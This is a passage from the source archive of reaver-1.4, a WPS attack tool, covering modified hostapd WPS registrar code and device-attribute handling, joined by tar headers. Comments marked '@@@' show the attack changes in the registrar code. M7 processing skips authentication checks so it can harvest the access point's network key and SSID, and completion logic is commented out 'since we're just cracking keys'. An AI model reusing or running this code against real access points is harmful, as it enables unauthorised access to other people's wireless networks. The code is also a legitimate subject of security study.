struct wps_parse_attr *attr) { struct wpabuf *decrypted; struct wps_parse_attr eattr; wpa_printf(MSG_DEBUG, "WPS: Received M5"); if (wps->state != RECV_M5) { wpa_printf(MSG_DEBUG, "WPS: Unexpected state (%d) for " "receiving M5", wps->state); wps->state = SEND_WSC_NACK; return WPS_CONTINUE; } if (wps->pbc && wps->wps->registrar->force_pbc_overlap) { wpa_printf(MSG_DEBUG, "WPS: Reject negotiation due to PBC " "session overlap"); wps->state = SEND_WSC_NACK; wps->config_error = WPS_CFG_MULTIPLE_PBC_DETECTED; return WPS_CONTINUE; } if (wps_process_registrar_nonce(wps, attr->registrar_nonce) || wps_process_authenticator(wps, attr->authenticator, msg)) { wps->state = SEND_WSC_NACK; return WPS_CONTINUE; } decrypted = wps_decrypt_encr_settings(wps, attr->encr_settings, attr->encr_settings_len); if (decrypted == NULL) { wpa_printf(MSG_DEBUG, "WPS: Failed to decrypted Encrypted " "Settings attribute"); wps->state = SEND_WSC_NACK; return WPS_CONTINUE; } wpa_printf(MSG_DEBUG, "WPS: Processing decrypted Encrypted Settings " "attribute"); if (wps_parse_msg(decrypted, &eattr) < 0 || wps_process_key_wrap_auth(wps, decrypted, eattr.key_wrap_auth) || wps_process_e_snonce1(wps, eattr.e_snonce1)) { wpabuf_free(decrypted); wps->state = SEND_WSC_NACK; return WPS_CONTINUE; } wpabuf_free(decrypted); wps->state = SEND_M6; return WPS_CONTINUE; } static void wps_sta_cred_cb(struct wps_data *wps) { /* * Update credential to only include a single authentication and * encryption type in case the AP configuration includes more than one * option. */ if (wps->cred.auth_type & WPS_AUTH_WPA2PSK) wps->cred.auth_type = WPS_AUTH_WPA2PSK; else if (wps->cred.auth_type & WPS_AUTH_WPAPSK) wps->cred.auth_type = WPS_AUTH_WPAPSK; if (wps->cred.encr_type & WPS_ENCR_AES) wps->cred.encr_type = WPS_ENCR_AES; else if (wps->cred.encr_type & WPS_ENCR_TKIP) wps->cred.encr_type = WPS_ENCR_TKIP; wpa_printf(MSG_DEBUG, "WPS: Update local configuration based on the " "AP configuration"); if (wps->wps->cred_cb) wps->wps->cred_cb(wps->wps->cb_ctx, &wps->cred); } static void wps_cred_update(struct wps_credential *dst, struct wps_credential *src) { os_memcpy(dst->ssid, src->ssid, sizeof(dst->ssid)); dst->ssid_len = src->ssid_len; dst->auth_type = src->auth_type; dst->encr_type = src->encr_type; dst->key_idx = src->key_idx; os_memcpy(dst->key, src->key, sizeof(dst->key)); dst->key_len = src->key_len; } static int wps_process_ap_settings_r(struct wps_data *wps, struct wps_parse_attr *attr) { if (wps->wps->ap || wps->er) return 0; /* AP Settings Attributes in M7 when Enrollee is an AP */ if (wps_process_ap_settings(attr, &wps->cred) < 0) return -1; /* @@@ Save a copy of the network key and ssid directly to the wps_data structure @@@ */ if(wps->cred.key_len > 0) { wps->key = strdup(wps->cred.key); } if(wps->cred.ssid_len > 0) { wps->essid = strdup(wps->cred.ssid); } if (wps->new_ap_settings) { wpa_printf(MSG_INFO, "WPS: Update AP configuration based on " "new settings"); wps_cred_update(&wps->cred, wps->new_ap_settings); return 0; } else { /* * Use the AP PIN only to receive the current AP settings, not * to reconfigure the AP. */ if (wps->ap_settings_cb) { wps->ap_settings_cb(wps->ap_settings_cb_ctx, &wps->cred); return 1; } wps_sta_cred_cb(wps); return 1; } } static enum wps_process_res wps_process_m7(struct wps_data *wps, const struct wpabuf *msg, struct wps_parse_attr *attr) { struct wpabuf *decrypted; struct wps_parse_attr eattr; wpa_printf(MSG_DEBUG, "WPS: Received M7"); if (wps->state != RECV_M7) { wpa_printf(MSG_DEBUG, "WPS: Unexpected state (%d) for " "receiving M7", wps->state); wps->state = SEND_WSC_NACK; return WPS_CONTINUE; } if (wps->pbc && wps->wps->registrar->force_pbc_overlap) { wpa_printf(MSG_DEBUG, "WPS: Reject negotiation due to PBC " "session overlap"); wps->state = SEND_WSC_NACK; wps->config_error = WPS_CFG_MULTIPLE_PBC_DETECTED; return WPS_CONTINUE; } if (wps_process_registrar_nonce(wps, attr->registrar_nonce) || wps_process_authenticator(wps, attr->authenticator, msg)) { wps->state = SEND_WSC_NACK; return WPS_CONTINUE; } decrypted = wps_decrypt_encr_settings(wps, attr->encr_settings, attr->encr_settings_len); if (decrypted == NULL) { wpa_printf(MSG_DEBUG, "WPS: Failed to decrypt Encrypted " "Settings attribute"); wps->state = SEND_WSC_NACK; return WPS_CONTINUE; } wpa_printf(MSG_DEBUG, "WPS: Processing decrypted Encrypted Settings " "attribute"); /* @@@ One of these fails, but we don't really care. We just want the ap settings */ /* if (wps_parse_msg(decrypted, &eattr) < 0 || wps_process_key_wrap_auth(wps, decrypted, eattr.key_wrap_auth) || wps_process_e_snonce2(wps, eattr.e_snonce2) || wps_process_ap_settings_r(wps, &eattr)) { wpabuf_free(decrypted); wps->state = SEND_WSC_NACK; return WPS_CONTINUE; } */ if(wps_parse_msg(decrypted, &eattr) >= 0) { wps_process_ap_settings_r(wps, &eattr); } wpabuf_free(decrypted); wps->state = SEND_M8; return WPS_CONTINUE; } static enum wps_process_res wps_process_wsc_msg(struct wps_data *wps, const struct wpabuf *msg) { struct wps_parse_attr attr; enum wps_process_res ret = WPS_CONTINUE; wpa_printf(MSG_DEBUG, "WPS: Received WSC_MSG"); if (wps_parse_msg(msg, &attr) < 0) return WPS_FAILURE; wpa_printf(MSG_DEBUG, "WPS: Parsed WSC_MSG"); if (!wps_version_supported(attr.version)) { wpa_printf(MSG_DEBUG, "WPS: Unsupported message version 0x%x", attr.version ? *attr.version : 0); return WPS_FAILURE; } if (attr.msg_type == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Message Type attribute"); return WPS_FAILURE; } if (*attr.msg_type != WPS_M1 && (attr.registrar_nonce == NULL || os_memcmp(wps->nonce_r, attr.registrar_nonce, WPS_NONCE_LEN != 0))) { wpa_printf(MSG_DEBUG, "WPS: Mismatch in registrar nonce"); return WPS_FAILURE; } switch (*attr.msg_type) { case WPS_M1: #ifdef CONFIG_WPS_UPNP if (wps->wps->wps_upnp && attr.mac_addr) { /* Remove old pending messages when starting new run */ wps_free_pending_msgs(wps->wps->upnp_msgs); wps->wps->upnp_msgs = NULL; upnp_wps_device_send_wlan_event( wps->wps->wps_upnp, attr.mac_addr, UPNP_WPS_WLANEVENT_TYPE_EAP, msg); } #endif /* CONFIG_WPS_UPNP */ ret = wps_process_m1(wps, &attr); break; case WPS_M3: ret = wps_process_m3(wps, msg, &attr); if (ret == WPS_FAILURE || wps->state == SEND_WSC_NACK) wps_fail_event(wps->wps, WPS_M3); break; case WPS_M5: ret = wps_process_m5(wps, msg, &attr); if (ret == WPS_FAILURE || wps->state == SEND_WSC_NACK) wps_fail_event(wps->wps, WPS_M5); break; case WPS_M7: ret = wps_process_m7(wps, msg, &attr); if (ret == WPS_FAILURE || wps->state == SEND_WSC_NACK) wps_fail_event(wps->wps, WPS_M7); break; default: wpa_printf(MSG_DEBUG, "WPS: Unsupported Message Type %d", *attr.msg_type); return WPS_FAILURE; } if (ret == WPS_CONTINUE) { /* Save a copy of the last message for Authenticator derivation */ wpa_printf(MSG_DEBUG, "WPS: WPS_CONTINUE, Freeing Last Message"); wpabuf_free(wps->last_msg); wpa_printf(MSG_DEBUG, "WPS: WPS_CONTINUE, Saving Last Message"); wps->last_msg = wpabuf_dup(msg); } wpa_printf(MSG_DEBUG, "WPS: returning"); return ret; } static enum wps_process_res wps_process_wsc_ack(struct wps_data *wps, const struct wpabuf *msg) { struct wps_parse_attr attr; wpa_printf(MSG_DEBUG, "WPS: Received WSC_ACK"); if (wps_parse_msg(msg, &attr) < 0) return WPS_FAILURE; if (!wps_version_supported(attr.version)) { wpa_printf(MSG_DEBUG, "WPS: Unsupported message version 0x%x", attr.version ? *attr.version : 0); return WPS_FAILURE; } if (attr.msg_type == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Message Type attribute"); return WPS_FAILURE; } if (*attr.msg_type != WPS_WSC_ACK) { wpa_printf(MSG_DEBUG, "WPS: Invalid Message Type %d", *attr.msg_type); return WPS_FAILURE; } #ifdef CONFIG_WPS_UPNP if (wps->wps->wps_upnp && wps->ext_reg && wps->state == RECV_M2D_ACK && upnp_wps_subscribers(wps->wps->wps_upnp)) { if (wps->wps->upnp_msgs) return WPS_CONTINUE; wpa_printf(MSG_DEBUG, "WPS: Wait for response from an " "external Registrar"); return WPS_PENDING; } #endif /* CONFIG_WPS_UPNP */ if (attr.registrar_nonce == NULL || os_memcmp(wps->nonce_r, attr.registrar_nonce, WPS_NONCE_LEN != 0)) { wpa_printf(MSG_DEBUG, "WPS: Mismatch in registrar nonce"); return WPS_FAILURE; } if (attr.enrollee_nonce == NULL || os_memcmp(wps->nonce_e, attr.enrollee_nonce, WPS_NONCE_LEN != 0)) { wpa_printf(MSG_DEBUG, "WPS: Mismatch in enrollee nonce"); return WPS_FAILURE; } if (wps->state == RECV_M2D_ACK) { #ifdef CONFIG_WPS_UPNP if (wps->wps->wps_upnp && upnp_wps_subscribers(wps->wps->wps_upnp)) { if (wps->wps->upnp_msgs) return WPS_CONTINUE; if (wps->ext_reg == 0) wps->ext_reg = 1; wpa_printf(MSG_DEBUG, "WPS: Wait for response from an " "external Registrar"); return WPS_PENDING; } #endif /* CONFIG_WPS_UPNP */ wpa_printf(MSG_DEBUG, "WPS: No more registrars available - " "terminate negotiation"); } return WPS_FAILURE; } static enum wps_process_res wps_process_wsc_nack(struct wps_data *wps, const struct wpabuf *msg) { struct wps_parse_attr attr; int old_state; wpa_printf(MSG_DEBUG, "WPS: Received WSC_NACK"); old_state = wps->state; wps->state = SEND_WSC_NACK; if (wps_parse_msg(msg, &attr) < 0) return WPS_FAILURE; if (!wps_version_supported(attr.version)) { wpa_printf(MSG_DEBUG, "WPS: Unsupported message version 0x%x", attr.version ? *attr.version : 0); return WPS_FAILURE; } if (attr.msg_type == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Message Type attribute"); return WPS_FAILURE; } if (*attr.msg_type != WPS_WSC_NACK) { wpa_printf(MSG_DEBUG, "WPS: Invalid Message Type %d", *attr.msg_type); return WPS_FAILURE; } #ifdef CONFIG_WPS_UPNP if (wps->wps->wps_upnp && wps->ext_reg) { wpa_printf(MSG_DEBUG, "WPS: Negotiation using external " "Registrar terminated by the Enrollee"); return WPS_FAILURE; } #endif /* CONFIG_WPS_UPNP */ if (attr.registrar_nonce == NULL || os_memcmp(wps->nonce_r, attr.registrar_nonce, WPS_NONCE_LEN != 0)) { wpa_printf(MSG_DEBUG, "WPS: Mismatch in registrar nonce"); return WPS_FAILURE; } if (attr.enrollee_nonce == NULL || os_memcmp(wps->nonce_e, attr.enrollee_nonce, WPS_NONCE_LEN != 0)) { wpa_printf(MSG_DEBUG, "WPS: Mismatch in enrollee nonce"); return WPS_FAILURE; } if (attr.config_error == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Configuration Error attribute " "in WSC_NACK"); return WPS_FAILURE; } wpa_printf(MSG_DEBUG, "WPS: Enrollee terminated negotiation with " "Configuration Error %d", WPA_GET_BE16(attr.config_error)); switch (old_state) { case RECV_M3: wps_fail_event(wps->wps, WPS_M2); break; case RECV_M5: wps_fail_event(wps->wps, WPS_M4); break; case RECV_M7: wps_fail_event(wps->wps, WPS_M6); break; case RECV_DONE: wps_fail_event(wps->wps, WPS_M8); break; default: break; } return WPS_FAILURE; } static enum wps_process_res wps_process_wsc_done(struct wps_data *wps, const struct wpabuf *msg) { struct wps_parse_attr attr; wpa_printf(MSG_DEBUG, "WPS: Received WSC_Done"); if (wps->state != RECV_DONE && (!wps->wps->wps_upnp || !wps->ext_reg)) { wpa_printf(MSG_DEBUG, "WPS: Unexpected state (%d) for " "receiving WSC_Done", wps->state); return WPS_FAILURE; } if (wps_parse_msg(msg, &attr) < 0) return WPS_FAILURE; if (!wps_version_supported(attr.version)) { wpa_printf(MSG_DEBUG, "WPS: Unsupported message version 0x%x", attr.version ? *attr.version : 0); return WPS_FAILURE; } if (attr.msg_type == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Message Type attribute"); return WPS_FAILURE; } if (*attr.msg_type != WPS_WSC_DONE) { wpa_printf(MSG_DEBUG, "WPS: Invalid Message Type %d", *attr.msg_type); return WPS_FAILURE; } #ifdef CONFIG_WPS_UPNP if (wps->wps->wps_upnp && wps->ext_reg) { wpa_printf(MSG_DEBUG, "WPS: Negotiation using external " "Registrar completed successfully"); wps_device_store(wps->wps->registrar, &wps->peer_dev, wps->uuid_e); return WPS_DONE; } #endif /* CONFIG_WPS_UPNP */ if (attr.registrar_nonce == NULL || os_memcmp(wps->nonce_r, attr.registrar_nonce, WPS_NONCE_LEN != 0)) { wpa_printf(MSG_DEBUG, "WPS: Mismatch in registrar nonce"); return WPS_FAILURE; } if (attr.enrollee_nonce == NULL || os_memcmp(wps->nonce_e, attr.enrollee_nonce, WPS_NONCE_LEN != 0)) { wpa_printf(MSG_DEBUG, "WPS: Mismatch in enrollee nonce"); return WPS_FAILURE; } wpa_printf(MSG_DEBUG, "WPS: Negotiation completed successfully"); /* @@@ We don't need any of this, since we're just cracking keys * wps_device_store(wps->wps->registrar, &wps->peer_dev, wps->uuid_e); if (wps->wps->wps_state == WPS_STATE_NOT_CONFIGURED && wps->new_psk && wps->wps->ap && !wps->wps->registrar->disable_auto_conf) { struct wps_credential cred; wpa_printf(MSG_DEBUG, "WPS: Moving to Configured state based " "on first Enrollee connection"); os_memset(&cred, 0, sizeof(cred)); os_memcpy(cred.ssid, wps->wps->ssid, wps->wps->ssid_len); cred.ssid_len = wps->wps->ssid_len; cred.auth_type = WPS_AUTH_WPAPSK | WPS_AUTH_WPA2PSK; cred.encr_type = WPS_ENCR_TKIP | WPS_ENCR_AES; os_memcpy(cred.key, wps->new_psk, wps->new_psk_len); cred.key_len = wps->new_psk_len; wps->wps->wps_state = WPS_STATE_CONFIGURED; wpa_hexdump_ascii_key(MSG_DEBUG, "WPS: Generated random passphrase", wps->new_psk, wps->new_psk_len); if (wps->wps->cred_cb) wps->wps->cred_cb(wps->wps->cb_ctx, &cred); os_free(wps->new_psk); wps->new_psk = NULL; } if (!wps->wps->ap && !wps->er) wps_sta_cred_cb(wps); if (wps->new_psk) { if (wps_cb_new_psk(wps->wps->registrar, wps->mac_addr_e, wps->new_psk, wps->new_psk_len)) { wpa_printf(MSG_DEBUG, "WPS: Failed to configure the " "new PSK"); } os_free(wps->new_psk); wps->new_psk = NULL; } wps_cb_reg_success(wps->wps->registrar, wps->mac_addr_e, wps->uuid_e); if (wps->pbc) { wps_registrar_remove_pbc_session(wps->wps->registrar, wps->mac_addr_e, wps->uuid_e); wps_registrar_pbc_completed(wps->wps->registrar); } else { wps_registrar_pin_completed(wps->wps->registrar); } * */ wps_success_event(wps->wps); return WPS_DONE; } enum wps_process_res wps_registrar_process_msg(struct wps_data *wps, enum wsc_op_code op_code, const struct wpabuf *msg) { enum wps_process_res ret; wpa_printf(MSG_DEBUG, "WPS: Processing received message (len=%lu " "op_code=%d)", (unsigned long) wpabuf_len(msg), op_code); #ifdef CONFIG_WPS_UPNP if (wps->wps->wps_upnp && op_code == WSC_MSG && wps->ext_reg == 1) { struct wps_parse_attr attr; if (wps_parse_msg(msg, &attr) == 0 && attr.msg_type && *attr.msg_type == WPS_M3) wps->ext_reg = 2; /* past M2/M2D phase */ } if (wps->ext_reg > 1) wps_registrar_free_pending_m2(wps->wps); if (wps->wps->wps_upnp && wps->ext_reg && wps->wps->upnp_msgs == NULL && (op_code == WSC_MSG || op_code == WSC_Done || op_code == WSC_NACK)) { struct wps_parse_attr attr; int type; if (wps_parse_msg(msg, &attr) < 0 || attr.msg_type == NULL) type = -1; else type = *attr.msg_type; wpa_printf(MSG_DEBUG, "WPS: Sending received message (type %d)" " to external Registrar for processing", type); upnp_wps_device_send_wlan_event(wps->wps->wps_upnp, wps->mac_addr_e, UPNP_WPS_WLANEVENT_TYPE_EAP, msg); if (op_code == WSC_MSG) return WPS_PENDING; } else if (wps->wps->wps_upnp && wps->ext_reg && op_code == WSC_MSG) { wpa_printf(MSG_DEBUG, "WPS: Skip internal processing - using " "external Registrar"); return WPS_CONTINUE; } #endif /* CONFIG_WPS_UPNP */ switch (op_code) { case WSC_MSG: return wps_process_wsc_msg(wps, msg); case WSC_ACK: return wps_process_wsc_ack(wps, msg); case WSC_NACK: return wps_process_wsc_nack(wps, msg); case WSC_Done: ret = wps_process_wsc_done(wps, msg); if (ret == WPS_FAILURE) { wps->state = SEND_WSC_NACK; wps_fail_event(wps->wps, WPS_WSC_DONE); } return ret; default: wpa_printf(MSG_DEBUG, "WPS: Unsupported op_code %d", op_code); return WPS_FAILURE; } } int wps_registrar_update_ie(struct wps_registrar *reg) { return wps_set_ie(reg); } static void wps_registrar_set_selected_timeout(void *eloop_ctx, void *timeout_ctx) { struct wps_registrar *reg = eloop_ctx; wpa_printf(MSG_DEBUG, "WPS: Selected Registrar timeout - " "unselect internal Registrar"); reg->selected_registrar = 0; reg->pbc = 0; wps_registrar_selected_registrar_changed(reg); } #ifdef CONFIG_WPS_UPNP static void wps_registrar_sel_reg_add(struct wps_registrar *reg, struct subscription *s) { wpa_printf(MSG_DEBUG, "WPS: External Registrar selected (dev_pw_id=%d " "config_methods=0x%x)", s->dev_password_id, s->config_methods); reg->sel_reg_union = 1; if (reg->sel_reg_dev_password_id_override != DEV_PW_PUSHBUTTON) reg->sel_reg_dev_password_id_override = s->dev_password_id; if (reg->sel_reg_config_methods_override == -1) reg->sel_reg_config_methods_override = 0; reg->sel_reg_config_methods_override |= s->config_methods; } #endif /* CONFIG_WPS_UPNP */ static void wps_registrar_sel_reg_union(struct wps_registrar *reg) { #ifdef CONFIG_WPS_UPNP struct subscription *s; if (reg->wps->wps_upnp == NULL) return; dl_list_for_each(s, ®->wps->wps_upnp->subscriptions, struct subscription, list) { struct subscr_addr *sa; sa = dl_list_first(&s->addr_list, struct subscr_addr, list); if (sa) { wpa_printf(MSG_DEBUG, "WPS: External Registrar %s:%d", inet_ntoa(sa->saddr.sin_addr), ntohs(sa->saddr.sin_port)); } if (s->selected_registrar) wps_registrar_sel_reg_add(reg, s); else wpa_printf(MSG_DEBUG, "WPS: External Registrar not " "selected"); } #endif /* CONFIG_WPS_UPNP */ } /** * wps_registrar_selected_registrar_changed - SetSelectedRegistrar change * @reg: Registrar data from wps_registrar_init() * * This function is called when selected registrar state changes, e.g., when an * AP receives a SetSelectedRegistrar UPnP message. */ void wps_registrar_selected_registrar_changed(struct wps_registrar *reg) { wpa_printf(MSG_DEBUG, "WPS: Selected registrar information changed"); reg->sel_reg_union = reg->selected_registrar; reg->sel_reg_dev_password_id_override = -1; reg->sel_reg_config_methods_override = -1; if (reg->selected_registrar) { reg->sel_reg_config_methods_override = reg->wps->config_methods & ~WPS_CONFIG_PUSHBUTTON; if (reg->pbc) { reg->sel_reg_dev_password_id_override = DEV_PW_PUSHBUTTON; reg->sel_reg_config_methods_override |= WPS_CONFIG_PUSHBUTTON; } wpa_printf(MSG_DEBUG, "WPS: Internal Registrar selected " "(pbc=%d)", reg->pbc); } else wpa_printf(MSG_DEBUG, "WPS: Internal Registrar not selected"); wpa_printf(MSG_DEBUG, "WPS: sel_reg_union"); wps_registrar_sel_reg_union(reg); wpa_printf(MSG_DEBUG, "WPS: set_ie"); wps_set_ie(reg); wpa_printf(MSG_DEBUG, "WPS: cb_set_sel_reg"); wps_cb_set_sel_reg(reg); wpa_printf(MSG_DEBUG, "WPS: return from wps_selected_registrar_changed"); } int wps_registrar_get_info(struct wps_registrar *reg, const u8 *addr, char *buf, size_t buflen) { struct wps_registrar_device *d; int len = 0, ret; char uuid[40]; char devtype[WPS_DEV_TYPE_BUFSIZE]; d = wps_device_get(reg, addr); if (d == NULL) return 0; if (uuid_bin2str(d->uuid, uuid, sizeof(uuid))) return 0; ret = os_snprintf(buf + len, buflen - len, "wpsUuid=%s\n" "wpsPrimaryDeviceType=%s\n" "wpsDeviceName=%s\n" "wpsManufacturer=%s\n" "wpsModelName=%s\n" "wpsModelNumber=%s\n" "wpsSerialNumber=%s\n", uuid, wps_dev_type_bin2str(d->dev.pri_dev_type, devtype, sizeof(devtype)), d->dev.device_name ? d->dev.device_name : "", d->dev.manufacturer ? d->dev.manufacturer : "", d->dev.model_name ? d->dev.model_name : "", d->dev.model_number ? d->dev.model_number : "", d->dev.serial_number ? d->dev.serial_number : ""); if (ret < 0 || (size_t) ret >= buflen - len) return len; len += ret; return len; } reaver-1.4/src/wps/wps_dev_attr.c0000755000175000017500000002300711705505257016455 0ustar reaverreaver/* * Wi-Fi Protected Setup - device attributes * Copyright (c) 2008, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "wps_i.h" #include "wps_dev_attr.h" static int wps_build_manufacturer(struct wps_device_data *dev, struct wpabuf *msg) { size_t len; wpa_printf(MSG_DEBUG, "WPS: * Manufacturer"); wpabuf_put_be16(msg, ATTR_MANUFACTURER); len = dev->manufacturer ? os_strlen(dev->manufacturer) : 0; if (len == 0) { /* * Some deployed WPS implementations fail to parse zero-length * attributes. As a workaround, send a null character if the * device attribute string is empty. */ wpabuf_put_be16(msg, 1); wpabuf_put_u8(msg, '\0'); } else { wpabuf_put_be16(msg, len); wpabuf_put_data(msg, dev->manufacturer, len); } return 0; } static int wps_build_model_name(struct wps_device_data *dev, struct wpabuf *msg) { size_t len; wpa_printf(MSG_DEBUG, "WPS: * Model Name"); wpabuf_put_be16(msg, ATTR_MODEL_NAME); len = dev->model_name ? os_strlen(dev->model_name) : 0; if (len == 0) { /* * Some deployed WPS implementations fail to parse zero-length * attributes. As a workaround, send a null character if the * device attribute string is empty. */ wpabuf_put_be16(msg, 1); wpabuf_put_u8(msg, '\0'); } else { wpabuf_put_be16(msg, len); wpabuf_put_data(msg, dev->model_name, len); } return 0; } static int wps_build_model_number(struct wps_device_data *dev, struct wpabuf *msg) { size_t len; wpa_printf(MSG_DEBUG, "WPS: * Model Number"); wpabuf_put_be16(msg, ATTR_MODEL_NUMBER); len = dev->model_number ? os_strlen(dev->model_number) : 0; if (len == 0) { /* * Some deployed WPS implementations fail to parse zero-length * attributes. As a workaround, send a null character if the * device attribute string is empty. */ wpabuf_put_be16(msg, 1); wpabuf_put_u8(msg, '\0'); } else { wpabuf_put_be16(msg, len); wpabuf_put_data(msg, dev->model_number, len); } return 0; } static int wps_build_serial_number(struct wps_device_data *dev, struct wpabuf *msg) { size_t len; wpa_printf(MSG_DEBUG, "WPS: * Serial Number"); wpabuf_put_be16(msg, ATTR_SERIAL_NUMBER); len = dev->serial_number ? os_strlen(dev->serial_number) : 0; if (len == 0) { /* * Some deployed WPS implementations fail to parse zero-length * attributes. As a workaround, send a null character if the * device attribute string is empty. */ wpabuf_put_be16(msg, 1); wpabuf_put_u8(msg, '\0'); } else { wpabuf_put_be16(msg, len); wpabuf_put_data(msg, dev->serial_number, len); } return 0; } int wps_build_primary_dev_type(struct wps_device_data *dev, struct wpabuf *msg) { wpa_printf(MSG_DEBUG, "WPS: * Primary Device Type"); wpabuf_put_be16(msg, ATTR_PRIMARY_DEV_TYPE); wpabuf_put_be16(msg, WPS_DEV_TYPE_LEN); wpabuf_put_data(msg, dev->pri_dev_type, WPS_DEV_TYPE_LEN); return 0; } static int wps_build_dev_name(struct wps_device_data *dev, struct wpabuf *msg) { size_t len; wpa_printf(MSG_DEBUG, "WPS: * Device Name"); wpabuf_put_be16(msg, ATTR_DEV_NAME); len = dev->device_name ? os_strlen(dev->device_name) : 0; if (len == 0) { /* * Some deployed WPS implementations fail to parse zero-length * attributes. As a workaround, send a null character if the * device attribute string is empty. */ wpabuf_put_be16(msg, 1); wpabuf_put_u8(msg, '\0'); } else { wpabuf_put_be16(msg, len); wpabuf_put_data(msg, dev->device_name, len); } return 0; } int wps_build_device_attrs(struct wps_device_data *dev, struct wpabuf *msg) { if (wps_build_manufacturer(dev, msg) || wps_build_model_name(dev, msg) || wps_build_model_number(dev, msg) || wps_build_serial_number(dev, msg) || wps_build_primary_dev_type(dev, msg) || wps_build_dev_name(dev, msg)) return -1; return 0; } int wps_build_os_version(struct wps_device_data *dev, struct wpabuf *msg) { wpa_printf(MSG_DEBUG, "WPS: * OS Version"); wpabuf_put_be16(msg, ATTR_OS_VERSION); wpabuf_put_be16(msg, 4); wpabuf_put_be32(msg, 0x80000000 | dev->os_version); return 0; } int wps_build_rf_bands(struct wps_device_data *dev, struct wpabuf *msg) { wpa_printf(MSG_DEBUG, "WPS: * RF Bands (%x)", dev->rf_bands); wpabuf_put_be16(msg, ATTR_RF_BANDS); wpabuf_put_be16(msg, 1); wpabuf_put_u8(msg, dev->rf_bands); return 0; } static int wps_process_manufacturer(struct wps_device_data *dev, const u8 *str, size_t str_len) { if (str == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Manufacturer received"); return -1; } wpa_hexdump_ascii(MSG_DEBUG, "WPS: Manufacturer", str, str_len); os_free(dev->manufacturer); dev->manufacturer = os_malloc(str_len + 1); if (dev->manufacturer == NULL) return -1; os_memcpy(dev->manufacturer, str, str_len); dev->manufacturer[str_len] = '\0'; return 0; } static int wps_process_model_name(struct wps_device_data *dev, const u8 *str, size_t str_len) { if (str == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Model Name received"); return -1; } wpa_hexdump_ascii(MSG_DEBUG, "WPS: Model Name", str, str_len); os_free(dev->model_name); dev->model_name = os_malloc(str_len + 1); if (dev->model_name == NULL) return -1; os_memcpy(dev->model_name, str, str_len); dev->model_name[str_len] = '\0'; return 0; } static int wps_process_model_number(struct wps_device_data *dev, const u8 *str, size_t str_len) { if (str == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Model Number received"); return -1; } wpa_hexdump_ascii(MSG_DEBUG, "WPS: Model Number", str, str_len); os_free(dev->model_number); dev->model_number = os_malloc(str_len + 1); if (dev->model_number == NULL) return -1; os_memcpy(dev->model_number, str, str_len); dev->model_number[str_len] = '\0'; return 0; } static int wps_process_serial_number(struct wps_device_data *dev, const u8 *str, size_t str_len) { if (str == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Serial Number received"); return -1; } wpa_hexdump_ascii(MSG_DEBUG, "WPS: Serial Number", str, str_len); os_free(dev->serial_number); dev->serial_number = os_malloc(str_len + 1); if (dev->serial_number == NULL) return -1; os_memcpy(dev->serial_number, str, str_len); dev->serial_number[str_len] = '\0'; return 0; } static int wps_process_dev_name(struct wps_device_data *dev, const u8 *str, size_t str_len) { if (str == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Device Name received"); return -1; } wpa_hexdump_ascii(MSG_DEBUG, "WPS: Device Name", str, str_len); os_free(dev->device_name); dev->device_name = os_malloc(str_len + 1); if (dev->device_name == NULL) return -1; os_memcpy(dev->device_name, str, str_len); dev->device_name[str_len] = '\0'; return 0; } static int wps_process_primary_dev_type(struct wps_device_data *dev, const u8 *dev_type) { #ifndef CONFIG_NO_STDOUT_DEBUG char devtype[WPS_DEV_TYPE_BUFSIZE]; #endif /* CONFIG_NO_STDOUT_DEBUG */ if (dev_type == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Primary Device Type received"); return -1; } os_memcpy(dev->pri_dev_type, dev_type, WPS_DEV_TYPE_LEN); wpa_printf(MSG_DEBUG, "WPS: Primary Device Type: %s", wps_dev_type_bin2str(dev->pri_dev_type, devtype, sizeof(devtype))); return 0; } int wps_process_device_attrs(struct wps_device_data *dev, struct wps_parse_attr *attr) { if (wps_process_manufacturer(dev, attr->manufacturer, attr->manufacturer_len) || wps_process_model_name(dev, attr->model_name, attr->model_name_len) || wps_process_model_number(dev, attr->model_number, attr->model_number_len) || wps_process_serial_number(dev, attr->serial_number, attr->serial_number_len) || wps_process_primary_dev_type(dev, attr->primary_dev_type) || wps_process_dev_name(dev, attr->dev_name, attr->dev_name_len)) return -1; return 0; } int wps_process_os_version(struct wps_device_data *dev, const u8 *ver) { if (ver == NULL) { wpa_printf(MSG_DEBUG, "WPS: No OS Version received"); return -1; } dev->os_version = WPA_GET_BE32(ver); wpa_printf(MSG_DEBUG, "WPS: OS Version %08x", dev->os_version); return 0; } int wps_process_rf_bands(struct wps_device_data *dev, const u8 *bands) { if (bands == NULL) { wpa_printf(MSG_DEBUG, "WPS: No RF Bands received"); return -1; } dev->rf_bands = *bands; wpa_printf(MSG_DEBUG, "WPS: Enrollee RF Bands 0x%x", dev->rf_bands); return 0; } void wps_device_data_dup(struct wps_device_data *dst, const struct wps_device_data *src) { if (src->device_name) dst->device_name = os_strdup(src->device_name); if (src->manufacturer) dst->manufacturer = os_strdup(src->manufacturer); if (src->model_name) dst->model_name = os_strdup(src->model_name); if (src->model_number) dst->model_number = os_strdup(src->model_number); if (src->serial_number) dst->serial_number = os_strdup(src->serial_number); os_memcpy(dst->pri_dev_type, src->pri_dev_type, WPS_DEV_TYPE_LEN); dst->os_version = src->os_version; dst->rf_bands = src->rf_bands; } void wps_device_data_free(struct wps_device_data *dev) { os_free(dev->device_name); dev->device_name = NULL; os_free(dev->manufacturer); dev->manufacturer = NULL; os_free(dev->model_name); dev->model_name = NULL; os_free(dev->model_number); dev->model_number = NULL; os_free(dev->serial_number); dev->serial_number = NULL; } reaver-1.4/src/wps/wps_defs.h0000755000175000017500000001655211705505257015602 0ustar reaverreaver/* * Wi-Fi Protected Setup - message definitions * Copyright (c) 2008, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. 